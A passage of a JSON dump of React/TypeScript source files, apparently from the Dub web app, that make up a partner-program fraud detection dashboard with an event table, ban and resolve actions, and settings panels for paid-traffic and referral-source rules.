({ sortBy, sortOrder }) =>\n      queryParams({\n        set: {\n          ...(sortBy && { sortBy }),\n          ...(sortOrder && { sortOrder }),\n        },\n        del: \"page\",\n        scroll: false,\n      }),\n    getRowId: (row) => row.id,\n    onRowClick: (row) => {\n      queryParams({\n        set: {\n          groupId: row.original.id,\n        },\n        scroll: false,\n      });\n    },\n    cellRight: (cell) => {\n      const meta = cell.column.columnDef.meta as\n        | {\n            filterParams?: any;\n          }\n        | undefined;\n\n      if (!meta?.filterParams) return null;\n      const params = meta.filterParams(cell);\n      if (!params || Object.keys(params).length === 0) return null;\n\n      return <FilterButtonTableRow set={params} />;\n    },\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (plural) => `fraud event${plural ? \"s\" : \"\"}`,\n    rowCount: fraudGroupCount ?? 0,\n    loading,\n    error: error || countError ? \"Failed to load fraud events\" : undefined,\n    selectionControls: (tableInstance) => {\n      // Store table reference for resetting selection\n      tableRef.current = tableInstance;\n\n      const selectedRows = tableInstance.getSelectedRowModel().rows;\n      const partners = selectedRows.map((row) => row.original.partner);\n      const selectedFraudGroups = selectedRows.map((row) => row.original);\n\n      // Remove duplicates by partner ID\n      const uniquePartners = Array.from(\n        new Map(partners.map((p) => [p.id, p])).values(),\n      );\n\n      if (uniquePartners.length === 0) return null;\n\n      return (\n        <>\n          <Button\n            variant=\"primary\"\n            text=\"Resolve events\"\n            icon={<ShieldAlert className=\"size-3.5 shrink-0\" />}\n            className=\"h-7 w-fit rounded-lg px-2.5\"\n            loading={false}\n            onClick={() => {\n              setPendingResolveFraudGroups(selectedFraudGroups);\n              setShowBulkResolveFraudGroupsModal(true);\n            }}\n          />\n          <Button\n            variant=\"danger\"\n            text=\"Ban partners\"\n            icon={<UserDelete className=\"size-3.5 shrink-0\" />}\n            className=\"h-7 w-fit rounded-lg px-2.5\"\n            loading={false}\n            onClick={() => {\n              const selectedRows = table.getSelectedRowModel().rows;\n              const partners = selectedRows\n                .map((row) => row.original.partner)\n                .filter(\n                  (p): p is NonNullable<FraudGroupProps[\"partner\"]> =>\n                    p !== null,\n                );\n\n              const uniquePartners = Array.from(\n                new Map(partners.map((p) => [p.id, p])).values(),\n              );\n\n              setPendingBanPartners(uniquePartners);\n              setShowBulkBanPartnersModal(true);\n            }}\n          />\n        </>\n      );\n    },\n  });\n\n  const [previousGroupId, nextGroupId] = useMemo(() => {\n    if (!fraudGroups || !detailsSheetState.groupId) return [null, null];\n\n    const currentIndex = fraudGroups.findIndex(\n      ({ id }) => id === detailsSheetState.groupId,\n    );\n    if (currentIndex === -1) return [null, null];\n\n    return [\n      currentIndex > 0 ? fraudGroups[currentIndex - 1].id : null,\n      currentIndex < fraudGroups.length - 1\n        ? fraudGroups[currentIndex + 1].id\n        : null,\n    ];\n  }, [fraudGroups, detailsSheetState.groupId]);\n\n  return (\n    <div className=\"flex flex-col gap-3\">\n      <BulkBanPartnersModal />\n      <BulkResolveFraudGroupsModal />\n      {detailsSheetState.groupId && currentFraudGroup && (\n        <FraudReviewSheet\n          isOpen={detailsSheetState.open}\n          setIsOpen={(open) =>\n            setDetailsSheetState((s) => ({ ...s, open }) as any)\n          }\n          fraudGroup={currentFraudGroup}\n          onPrevious={\n            previousGroupId\n              ? () =>\n                  queryParams({\n                    set: { groupId: previousGroupId },\n                    scroll: false,\n                  })\n              : undefined\n          }\n          onNext={\n            nextGroupId\n              ? () =>\n                  queryParams({\n                    set: { groupId: nextGroupId },\n                    scroll: false,\n                  })\n              : undefined\n          }\n        />\n      )}\n\n      <div>\n        <FraudDisclaimerBanner />\n        <div className=\"mt-3 flex flex-col gap-3 md:flex-row md:items-center md:justify-between\">\n          <Filter.Select\n            className=\"w-full md:w-fit\"\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n            onSearchChange={setSearch}\n            onSelectedFilterChange={setSelectedFilter}\n          />\n        </div>\n        <AnimatedSizeContainer height>\n          <div>\n            {activeFilters.length > 0 && (\n              <div className=\"pt-3\">\n                <Filter.List\n                  filters={filters}\n                  activeFilters={activeFilters}\n                  onSelect={onSelect}\n                  onRemove={onRemove}\n                  onRemoveAll={onRemoveAll}\n                />\n              </div>\n            )}\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n\n      {fraudGroups?.length !== 0 ? (\n        <Table {...tableProps} table={table} />\n      ) : (\n        <AnimatedEmptyState\n          title=\"No pending fraud to review\"\n          description=\"There aren't any unresolved fraud events waiting for action right now.\"\n          cardContent={() => (\n            <>\n              <ShieldAlert className=\"size-4 text-neutral-700\" />\n              <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n            </>\n          )}\n          learnMoreHref=\"https://dub.co/help/article/fraud-detection\"\n          learnMoreTarget=\"_blank\"\n          learnMoreText=\"Learn more\"\n        />\n      )}\n    </div>\n  );\n}\n\nfunction RowMenuButton({ row }: { row: Row<FraudGroupProps> }) {\n  const fraudGroup = row.original;\n  const partner = fraudGroup.partner;\n\n  const [isOpen, setIsOpen] = useState(false);\n\n  const { BanPartnerModal, setShowBanPartnerModal } = useBanPartnerModal({\n    partner: fraudGroup.partner,\n    onConfirm: async () => {\n      await mutatePrefix(\"/api/fraud/groups\");\n    },\n  });\n\n  const {\n    RejectPartnerApplicationModal,\n    setShowRejectPartnerApplicationModal,\n  } = useRejectPartnerApplicationModal({\n    partner,\n    onConfirm: async () => {\n      await mutatePrefix(\"/api/fraud/groups\");\n    },\n  });\n\n  if (fraudGroup.status !== \"pending\" || !partner) {\n    return null;\n  }\n\n  return (\n    <>\n      <BanPartnerModal />\n      {RejectPartnerApplicationModal}\n      <Popover\n        openPopover={isOpen}\n        setOpenPopover={setIsOpen}\n        content={\n          <Command tabIndex={0} loop className=\"focus:outline-none\">\n            <Command.List className=\"w-screen text-sm focus-visible:outline-none sm:w-auto sm:min-w-[180px]\">\n              <Command.Group className=\"grid gap-px p-1.5\">\n                {partner.status === \"pending\" ? (\n                  <MenuItem\n                    icon={UserXmark}\n                    label=\"Reject application\"\n                    variant=\"danger\"\n                    onSelect={() => {\n                      setShowRejectPartnerApplicationModal(true);\n                      setIsOpen(false);\n                    }}\n                  />\n                ) : (\n                  <MenuItem\n                    icon={UserDelete}\n                    label=\"Ban partner\"\n                    variant=\"danger\"\n                    onSelect={() => {\n                      setShowBanPartnerModal(true);\n                      setIsOpen(false);\n                    }}\n                  />\n                )}\n              </Command.Group>\n            </Command.List>\n          </Command>\n        }\n        align=\"end\"\n      >\n        <Button\n          type=\"button\"\n          className=\"size-8 shrink-0 whitespace-nowrap rounded-lg p-0\"\n          variant=\"outline\"\n          icon={<Dots className=\"h-4 w-4 shrink-0\" />}\n        />\n      </Popover>\n    </>\n  );\n}\n\nfunction MenuItem({\n  icon: IconComp,\n  label,\n  onSelect,\n  variant = \"default\",\n}: {\n  icon: Icon;\n  label: string;\n  onSelect: () => void;\n  variant?: \"default\" | \"danger\";\n}) {\n  const variantStyles = {\n    default: {\n      text: \"text-neutral-600\",\n      icon: \"text-neutral-500\",\n    },\n    danger: {\n      text: \"text-red-600\",\n      icon: \"text-red-600\",\n    },\n  };\n\n  const { text, icon } = variantStyles[variant];\n\n  return (\n    <Command.Item\n      className={cn(\n        \"flex cursor-pointer select-none items-center gap-2 whitespace-nowrap rounded-md p-2 text-sm\",\n        \"data-[selected=true]:bg-neutral-100\",\n        text,\n      )}\n      onSelect={onSelect}\n    >\n      <IconComp className={cn(\"size-4 shrink-0\", icon)} />\n      {label}\n    </Command.Item>\n  );\n}\n\n// Gets the current fraud event from the loaded array if available, or a separate fetch if not\nfunction useCurrentFraudGroup({\n  fraudGroups,\n  groupId,\n}: {\n  fraudGroups?: FraudGroupProps[];\n  groupId: string | null;\n}) {\n  let currentFraudGroup = groupId\n    ? fraudGroups?.find((fraudGroup) => fraudGroup.id === groupId)\n    : null;\n\n  const shouldFetch =\n    fraudGroups && groupId && !currentFraudGroup ? groupId : null;\n\n  const { fraudGroups: fetchedFraudEventGroups, loading: isLoading } =\n    useFraudGroups({\n      query: { groupId: groupId ?? undefined },\n      enabled: Boolean(shouldFetch),\n    });\n\n  if (!currentFraudGroup && fetchedFraudEventGroups?.[0]?.id === groupId) {\n    currentFraudGroup = fetchedFraudEventGroups[0];\n  }\n\n  return {\n    currentFraudGroup,\n    isLoading,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/fraud/fraud-paid-traffic-settings.tsx",
    "content": "\"use client\";\n\nimport { PAID_TRAFFIC_PLATFORMS_CONFIG } from \"@/lib/api/fraud/constants\";\nimport { PaidTrafficPlatform } from \"@/lib/types\";\nimport { updateFraudRuleSettingsSchema } from \"@/lib/zod/schemas/fraud\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  Bing,\n  Button,\n  Facebook,\n  Google,\n  LinkedIn,\n  Reddit,\n  Switch,\n  TikTok,\n  Twitter,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils/src\";\nimport { motion } from \"motion/react\";\nimport React from \"react\";\nimport { useFormContext } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\n\ntype FormData = z.infer<\n  typeof updateFraudRuleSettingsSchema.shape.paidTrafficDetected\n>;\n\nconst PAID_TRAFFIC_PLATFORM_ICONS: Record<\n  PaidTrafficPlatform,\n  React.ComponentType<{ className?: string }>\n> = {\n  google: Google,\n  facebook: Facebook,\n  x: Twitter,\n  bing: Bing,\n  linkedin: LinkedIn,\n  reddit: Reddit,\n  tiktok: TikTok,\n};\n\ninterface FraudPaidTrafficSettingsProps {\n  isConfigLoading?: boolean;\n}\n\nexport function FraudPaidTrafficSettings({\n  isConfigLoading = false,\n}: FraudPaidTrafficSettingsProps) {\n  const {\n    watch,\n    setValue,\n    formState: { isSubmitting },\n  } = useFormContext<{ paidTrafficDetected: FormData }>();\n\n  const platforms = watch(\"paidTrafficDetected.config.platforms\") ?? [];\n  const whitelistedCampaignIds =\n    watch(\"paidTrafficDetected.config.google.whitelistedCampaignIds\") ?? [];\n\n  const enabled = watch(\"paidTrafficDetected.enabled\");\n  const isGoogleEnabled = platforms.includes(\"google\");\n\n  // Toggle platform in the list\n  const togglePlatform = (platformId: string) => {\n    const isSelected = platforms.includes(platformId as any);\n    const newPlatforms = isSelected\n      ? platforms.filter((p) => p !== platformId)\n      : [...platforms, platformId as any];\n\n    setValue(\"paidTrafficDetected.config.platforms\", newPlatforms, {\n      shouldDirty: true,\n    });\n\n    if (platformId === \"google\" && isSelected) {\n      setValue(\"paidTrafficDetected.config.google.whitelistedCampaignIds\", [], {\n        shouldDirty: true,\n      });\n    }\n  };\n\n  const addCampaignId = (id: string) => {\n    const trimmed = id.trim();\n    if (trimmed && !whitelistedCampaignIds.includes(trimmed)) {\n      setValue(\n        \"paidTrafficDetected.config.google.whitelistedCampaignIds\",\n        [...whitelistedCampaignIds, trimmed],\n        { shouldDirty: true },\n      );\n    }\n  };\n\n  const removeCampaignId = (id: string) => {\n    setValue(\n      \"paidTrafficDetected.config.google.whitelistedCampaignIds\",\n      whitelistedCampaignIds.filter((c) => c !== id),\n      { shouldDirty: true },\n    );\n  };\n\n  const isDisabled = isConfigLoading || isSubmitting;\n\n  return (\n    <div\n      className={cn(\n        \"rounded-xl border border-neutral-200\",\n        enabled && \"divide-y divide-neutral-200\",\n      )}\n    >\n      <div className=\"flex items-center justify-between p-3\">\n        <div className=\"flex-1\">\n          <h3 className=\"text-sm font-semibold text-neutral-900\">\n            Paid traffic\n          </h3>\n          <p className=\"text-content-subtle mt-0.5 text-xs font-normal tracking-normal\">\n            Flag paid advertising traffic\n          </p>\n        </div>\n        <Switch\n          trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20\"\n          checked={enabled}\n          disabled={isDisabled}\n          fn={(enabled: boolean) => {\n            setValue(\"paidTrafficDetected.enabled\", enabled, {\n              shouldDirty: true,\n            });\n\n            // Reset the platforms if the rule is disabled\n            if (!enabled) {\n              setValue(\"paidTrafficDetected.config.platforms\", [], {\n                shouldDirty: true,\n              });\n              setValue(\n                \"paidTrafficDetected.config.google.whitelistedCampaignIds\",\n                [],\n                { shouldDirty: true },\n              );\n            }\n          }}\n        />\n      </div>\n\n      {enabled && (\n        <>\n          <div className=\"space-y-1 p-1\">\n            {PAID_TRAFFIC_PLATFORMS_CONFIG.map((platform) => {\n              const Icon = PAID_TRAFFIC_PLATFORM_ICONS[platform.id];\n              const isPlatformEnabled = platforms.includes(platform.id);\n              const isGoogle = platform.id === \"google\";\n\n              return (\n                <React.Fragment key={platform.id}>\n                  <div className=\"group flex items-center justify-between rounded-lg px-2 py-2.5 transition-colors hover:cursor-pointer hover:bg-neutral-100\">\n                    <div className=\"flex items-center gap-3\">\n                      {Icon && (\n                        <div className=\"flex h-5 w-5 items-center justify-center\">\n                          <Icon className=\"h-5 w-5\" />\n                        </div>\n                      )}\n                      <span className=\"text-sm font-medium text-neutral-900\">\n                        {platform.name}\n                      </span>\n                    </div>\n                    <Switch\n                      trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20\"\n                      checked={isPlatformEnabled}\n                      disabled={isDisabled}\n                      fn={() => togglePlatform(platform.id)}\n                    />\n                  </div>\n\n                  {isGoogle && (\n                    <motion.div\n                      initial={false}\n                      animate={{\n                        height: isGoogleEnabled ? \"auto\" : 0,\n                        opacity: isGoogleEnabled ? 1 : 0,\n                      }}\n                      transition={{\n                        height: { duration: 0.2, ease: \"easeInOut\" },\n                        opacity: { duration: 0.15 },\n                      }}\n                      className=\"overflow-hidden\"\n                    >\n                      <div className=\"m-2 space-y-3 rounded-lg border border-neutral-200 bg-neutral-50/50 p-4\">\n                        <label className=\"text-sm font-medium text-neutral-700\">\n                          Campaign IDs whitelist\n                          <span className=\"ml-1 font-normal text-neutral-500\">\n                            (optional)\n                          </span>\n                        </label>\n                        <div className=\"flex gap-2\">\n                          <input\n                            type=\"text\"\n                            placeholder=\"e.g. 123456789\"\n                            disabled={isDisabled}\n                            className={cn(\n                              \"block h-9 flex-1 rounded-md border-neutral-300 px-3 py-1.5 text-sm text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 disabled:bg-neutral-100 disabled:text-neutral-500\",\n                            )}\n                            onKeyDown={(e) => {\n                              if (e.key === \"Enter\") {\n                                e.preventDefault();\n                                const input = e.currentTarget;\n                                addCampaignId(input.value);\n                                input.value = \"\";\n                              }\n                            }}\n                          />\n                          <Button\n                            type=\"button\"\n                            variant=\"secondary\"\n                            text=\"Add\"\n                            className=\"h-9 w-fit px-3\"\n                            disabled={isDisabled}\n                            onClick={(e) => {\n                              const input = e.currentTarget\n                                .previousElementSibling as HTMLInputElement;\n                              if (input) {\n                                addCampaignId(input.value);\n                                input.value = \"\";\n                              }\n                            }}\n                          />\n                        </div>\n\n                        {whitelistedCampaignIds.length > 0 && (\n                          <div className=\"flex flex-wrap gap-2\">\n                            {whitelistedCampaignIds.map((id) => (\n                              <div\n                                key={id}\n                                className=\"flex items-center gap-1.5 rounded-md bg-neutral-100 px-2.5 py-1.5 text-sm text-neutral-700\"\n                              >\n                                <span>{id}</span>\n                                <button\n                                  type=\"button\"\n                                  onClick={() => removeCampaignId(id)}\n                                  disabled={isDisabled}\n                                  aria-label=\"Remove campaign ID\"\n                                  className=\"text-neutral-400 hover:text-neutral-600\"\n                                >\n                                  <X className=\"size-3.5\" />\n                                </button>\n                              </div>\n                            ))}\n                          </div>\n                        )}\n                        <p className=\"text-content-subtle text-xs font-normal tracking-normal\">\n                          Exclude internal Google Campaign IDs from this rule.\n                          Recommended if you're running DSA (Dynamic Search Ad)\n                          campaigns.\n                        </p>\n                      </div>\n                    </motion.div>\n                  )}\n                </React.Fragment>\n              );\n            })}\n          </div>\n        </>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/fraud/fraud-referral-source-settings.tsx",
    "content": "\"use client\";\n\nimport { updateFraudRuleSettingsSchema } from \"@/lib/zod/schemas/fraud\";\nimport { X } from \"@/ui/shared/icons\";\nimport { Button, Switch } from \"@dub/ui\";\nimport { cn } from \"@dub/utils/src\";\nimport { useFormContext } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\n\ntype FormData = z.infer<\n  typeof updateFraudRuleSettingsSchema.shape.referralSourceBanned\n>;\n\ninterface FraudReferralSourceSettingsProps {\n  isConfigLoading?: boolean;\n}\n\nexport function FraudReferralSourceSettings({\n  isConfigLoading = false,\n}: FraudReferralSourceSettingsProps) {\n  const {\n    watch,\n    setValue,\n    formState: { isSubmitting },\n  } = useFormContext<{ referralSourceBanned: FormData }>();\n\n  const domains = watch(\"referralSourceBanned.config.domains\") ?? [];\n  const enabled = watch(\"referralSourceBanned.enabled\");\n\n  // Add empty domain row to the list\n  const addDomain = () => {\n    setValue(\"referralSourceBanned.config.domains\", [...(domains ?? []), \"\"], {\n      shouldDirty: true,\n    });\n  };\n\n  // Update domain at specific index\n  const updateDomain = (index: number, value: string) => {\n    const newDomains = [...domains];\n    newDomains[index] = value;\n    setValue(\"referralSourceBanned.config.domains\", newDomains, {\n      shouldDirty: true,\n    });\n  };\n\n  // Remove domain from the list\n  const removeDomain = (index: number) => {\n    setValue(\n      \"referralSourceBanned.config.domains\",\n      domains.filter((_, i) => i !== index),\n      { shouldDirty: true },\n    );\n  };\n\n  const isDisabled = isConfigLoading || isSubmitting;\n\n  return (\n    <div\n      className={cn(\n        \"rounded-xl border border-neutral-200\",\n        enabled && \"divide-y divide-neutral-200\",\n      )}\n    >\n      <div className=\"flex items-center justify-between p-3\">\n        <div className=\"flex-1\">\n          <h3 className=\"text-sm font-semibold text-neutral-900\">\n            Referral source\n          </h3>\n          <p className=\"text-content-subtle mt-0.5 text-xs font-normal tracking-normal\">\n            Flag specific domains for referral traffic\n          </p>\n        </div>\n        <Switch\n          trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20\"\n          checked={enabled}\n          disabled={isDisabled}\n          fn={(enabled: boolean) => {\n            setValue(\"referralSourceBanned.enabled\", enabled, {\n              shouldDirty: true,\n            });\n\n            // Reset the domains if the rule is disabled\n            if (!enabled) {\n              setValue(\"referralSourceBanned.config.domains\", [], {\n                shouldDirty: true,\n              });\n            }\n\n            if (enabled && domains.length === 0) {\n              addDomain();\n            }\n          }}\n        />\n      </div>\n\n      {enabled && (\n        <div className=\"space-y-3 p-3\">\n          <div className=\"space-y-2\">\n            {domains.map((domain, index) => (\n              <div key={index} className=\"group relative w-full\">\n                <input\n                  type=\"text\"\n                  placeholder=\"reddit.com\"\n                  value={domain}\n                  disabled={isDisabled}\n                  onChange={(e) => updateDomain(index, e.target.value)}\n                  className={cn(\n                    \"w-full rounded-lg border border-neutral-300 py-2 pl-3 pr-11 text-sm text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 disabled:bg-neutral-100 disabled:text-neutral-500\",\n                  )}\n                />\n                <button\n                  type=\"button\"\n                  onClick={() => removeDomain(index)}\n                  disabled={isDisabled}\n                  className=\"absolute inset-y-0 right-0 my-1 mr-1 flex h-[calc(100%-0.5rem)] items-center justify-center rounded-md bg-neutral-100 px-3 py-2 text-neutral-500 opacity-0 transition-opacity hover:bg-neutral-200 hover:text-neutral-700 focus:outline-none focus-visible:opacity-100 focus-visible:ring-2 focus-visible:ring-neutral-500 focus-visible:ring-offset-2 disabled:opacity-50 group-hover:opacity-100\"\n                  aria-label=\"Remove domain\"\n                >\n                  <X className=\"size-2.5 text-neutral-600\" />\n                </button>\n              </div>\n            ))}\n          </div>\n\n          <div className=\"flex gap-2\">\n            <Button\n              text=\"Add domain\"\n              onClick={addDomain}\n              disabled={isDisabled}\n              className=\"h-8\"\n            />\n          </div>\n\n          <p className=\"text-content-subtle text-center text-xs font-normal tracking-normal\">\n            Use{\" \"}\n            <span className=\"justify-center rounded-md bg-neutral-100 px-1 py-0.5\">\n              *\n            </span>{\" \"}\n            to match any part of a domain.{\" \"}\n            <a\n              href=\"https://dub.co/help\"\n              target=\"_blank\"\n              rel=\"noopener noreferrer\"\n              className=\"leading-none underline underline-offset-2 hover:text-neutral-800\"\n            >\n              Learn more\n            </a>\n          </p>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/fraud/fraud-rule-toggle-settings.tsx",
    "content": "\"use client\";\n\nimport { UpdateFraudRuleSettings } from \"@/lib/types\";\nimport { Switch } from \"@dub/ui\";\nimport { useFormContext } from \"react-hook-form\";\n\ninterface FraudRuleToggleSettingsProps {\n  ruleType: keyof UpdateFraudRuleSettings;\n  title: string;\n  description: string;\n  isConfigLoading?: boolean;\n}\n\nexport function FraudRuleToggleSettings({\n  ruleType,\n  title,\n  description,\n  isConfigLoading = false,\n}: FraudRuleToggleSettingsProps) {\n  const {\n    watch,\n    setValue,\n    formState: { isSubmitting },\n  } = useFormContext<UpdateFraudRuleSettings>();\n\n  const enabled = watch(`${ruleType}.enabled`);\n  const isDisabled = isConfigLoading || isSubmitting;\n\n  return (\n    <div className=\"rounded-xl border border-neutral-200\">\n      <div className=\"flex items-center justify-between p-3\">\n        <div className=\"flex-1\">\n          <h3 className=\"text-sm font-semibold text-neutral-900\">{title}</h3>\n          <p className=\"text-content-subtle mt-0.5 text-xs font-normal tracking-normal\">\n            {description}\n          </p>\n        </div>\n        <Switch\n          trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20\"\n          checked={enabled}\n          disabled={isDisabled}\n          fn={(enabled: boolean) => {\n            setValue(`${ruleType}.enabled`, enabled, {\n              shouldDirty: true,\n            });\n          }}\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/fraud/fraud-upsell.tsx",
    "content": "\"use client\";\n\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { usePartnersUpgradeModal } from \"@/ui/partners/partners-upgrade-modal\";\nimport { Button } from \"@dub/ui\";\nimport { ExampleFraudEvents } from \"./example-fraud-events\";\n\nexport function FraudUpsell() {\n  const { partnersUpgradeModal, setShowPartnersUpgradeModal } =\n    usePartnersUpgradeModal();\n\n  return (\n    <>\n      {partnersUpgradeModal}\n      <PageContent title=\"Fraud & Risk\">\n        <PageWidthWrapper>\n          <div className=\"flex min-h-[calc(100vh-200px)] flex-col items-center justify-center gap-6 overflow-hidden px-4 py-10\">\n            <ExampleFraudEvents />\n            <div className=\"max-w-sm text-pretty text-center\">\n              <span className=\"text-base font-medium text-neutral-900\">\n                Fraud and risk\n              </span>\n              <p className=\"text-content-subtle mt-2 text-sm\">\n                Protect your program and partners with{\" \"}\n                <a\n                  href=\"https://dub.co/help/article/fraud-risk-prevention\"\n                  target=\"_blank\"\n                  rel=\"noopener noreferrer\"\n                  className=\"text-content-default hover:text-content-emphasis cursor-alias underline decoration-dotted underline-offset-2\"\n                >\n                  fraud and risk detection.\n                </a>{\" \"}\n                Available on Advanced plans and higher.\n              </p>\n            </div>\n            <div className=\"flex items-center gap-2\">\n              <Button\n                onClick={() => setShowPartnersUpgradeModal(true)}\n                text=\"Upgrade to Advanced\"\n                className=\"h-8 px-3\"\n              />\n            </div>\n          </div>\n        </PageWidthWrapper>\n      </PageContent>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/fraud/layout.tsx",
    "content": "\"use client\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport { ReactNode } from \"react\";\nimport { FraudUpsell } from \"./fraud-upsell\";\n\nexport default function FraudRiskLayout({ children }: { children: ReactNode }) {\n  const { plan, loading } = useWorkspace();\n\n  if (loading) {\n    return <LayoutLoader />;\n  }\n\n  const { canManageFraudEvents } = getPlanCapabilities(plan);\n\n  if (!canManageFraudEvents) {\n    return <FraudUpsell />;\n  }\n\n  return children;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/fraud/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { FraudGroupTable } from \"./fraud-group-table\";\nimport { ProgramFraudActionsMenu } from \"./program-fraud-actions-menu\";\nimport { ProgramFraudSettingsButton } from \"./program-fraud-settings-button\";\n\nexport default function ProgramFraudRiskPage() {\n  return (\n    <PageContent\n      title=\"Fraud Detection\"\n      titleInfo={{\n        title:\n          \"Safeguard your partner program by automatically flagging, reviewing, and resolving suspicious activity with Fraud Detection.\",\n        href: \"https://dub.co/help/article/fraud-detection\",\n      }}\n      controls={\n        <>\n          <ProgramFraudSettingsButton />\n          <ProgramFraudActionsMenu />\n        </>\n      }\n    >\n      <PageWidthWrapper>\n        <FraudGroupTable />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/fraud/program-fraud-actions-menu.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { Button, IconMenu, Popover, Refresh2 } from \"@dub/ui\";\nimport { useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\n\nexport function ProgramFraudActionsMenu() {\n  const router = useRouter();\n  const { slug } = useWorkspace();\n  const [openPopover, setOpenPopover] = useState(false);\n\n  return (\n    <Popover\n      content={\n        <div className=\"w-full md:w-52\">\n          <div className=\"grid gap-px p-2\">\n            <button\n              onClick={() => {\n                router.push(`/${slug}/program/fraud/resolved`);\n                setOpenPopover(false);\n              }}\n              className=\"w-full rounded-md p-2 hover:bg-neutral-100 active:bg-neutral-200\"\n            >\n              <IconMenu\n                text=\"View resolved\"\n                icon={<Refresh2 className=\"h-4 w-4\" />}\n              />\n            </button>\n          </div>\n        </div>\n      }\n      openPopover={openPopover}\n      setOpenPopover={setOpenPopover}\n      align=\"end\"\n    >\n      <Button\n        onClick={() => setOpenPopover(!openPopover)}\n        variant=\"secondary\"\n        className=\"h-8 w-auto px-1.5 sm:h-9\"\n        icon={<ThreeDots className=\"h-5 w-5 text-neutral-500\" />}\n      />\n    </Popover>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/fraud/program-fraud-settings-button.tsx",
    "content": "\"use client\";\n\nimport { Button } from \"@dub/ui\";\nimport { useProgramFraudSettingsSheet } from \"./program-fraud-settings-sheet\";\n\nexport function ProgramFraudSettingsButton() {\n  const { programFraudSettingsSheet, setIsOpen } =\n    useProgramFraudSettingsSheet();\n\n  return (\n    <>\n      {programFraudSettingsSheet}\n      <Button\n        type=\"button\"\n        text=\"Fraud settings\"\n        variant=\"secondary\"\n        onClick={() => setIsOpen(true)}\n        className=\"h-9 px-3\"\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/fraud/program-fraud-settings-sheet.tsx",
    "content": "\"use client\";\n\nimport {\n  CONFIGURABLE_FRAUD_RULES,\n  FRAUD_RULES_BY_TYPE,\n} from \"@/lib/api/fraud/constants\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  FraudRuleInfo,\n  FraudRuleProps,\n  PaidTrafficPlatform,\n  UpdateFraudRuleSettings,\n} from \"@/lib/types\";\nimport {\n  getRulesBeingDisabled,\n  useDisableFraudRulesModal,\n} from \"@/ui/modals/disable-fraud-rules-modal\";\nimport { X } from \"@/ui/shared/icons\";\nimport { Button, InfoTooltip, Sheet } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { Dispatch, SetStateAction, useEffect, useState } from \"react\";\nimport { FormProvider, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport useSWR from \"swr\";\nimport { FraudPaidTrafficSettings } from \"./fraud-paid-traffic-settings\";\nimport { FraudReferralSourceSettings } from \"./fraud-referral-source-settings\";\nimport { FraudRuleToggleSettings } from \"./fraud-rule-toggle-settings\";\n\n// Rules that have dedicated settings components with complex config UI\nconst RULES_WITH_CUSTOM_UI = new Set([\n  \"paidTrafficDetected\",\n  \"referralSourceBanned\",\n]);\n\n// Toggle-only rules rendered via the generic FraudRuleToggleSettings component\nconst TOGGLE_ONLY_RULES = CONFIGURABLE_FRAUD_RULES.filter(\n  (rule): rule is FraudRuleInfo & { type: keyof UpdateFraudRuleSettings } =>\n    !RULES_WITH_CUSTOM_UI.has(rule.type),\n);\n\ninterface ProgramFraudSettingsSheetProps {\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n}\n\nfunction ProgramFraudSettingsSheetContent({\n  setIsOpen,\n}: ProgramFraudSettingsSheetProps) {\n  const { id: workspaceId } = useWorkspace();\n  const { isSubmitting, makeRequest } = useApiMutation();\n\n  const { data: fraudRules, isLoading } = useSWR<FraudRuleProps[]>(\n    workspaceId ? `/api/fraud/rules?workspaceId=${workspaceId}` : null,\n    fetcher,\n  );\n\n  const { setShowDisableModal, DisableFraudRulesModal } =\n    useDisableFraudRulesModal({ setIsOpen });\n\n  const form = useForm<UpdateFraudRuleSettings>({\n    defaultValues: {\n      referralSourceBanned: {\n        enabled: false,\n        config: { domains: [] },\n      },\n      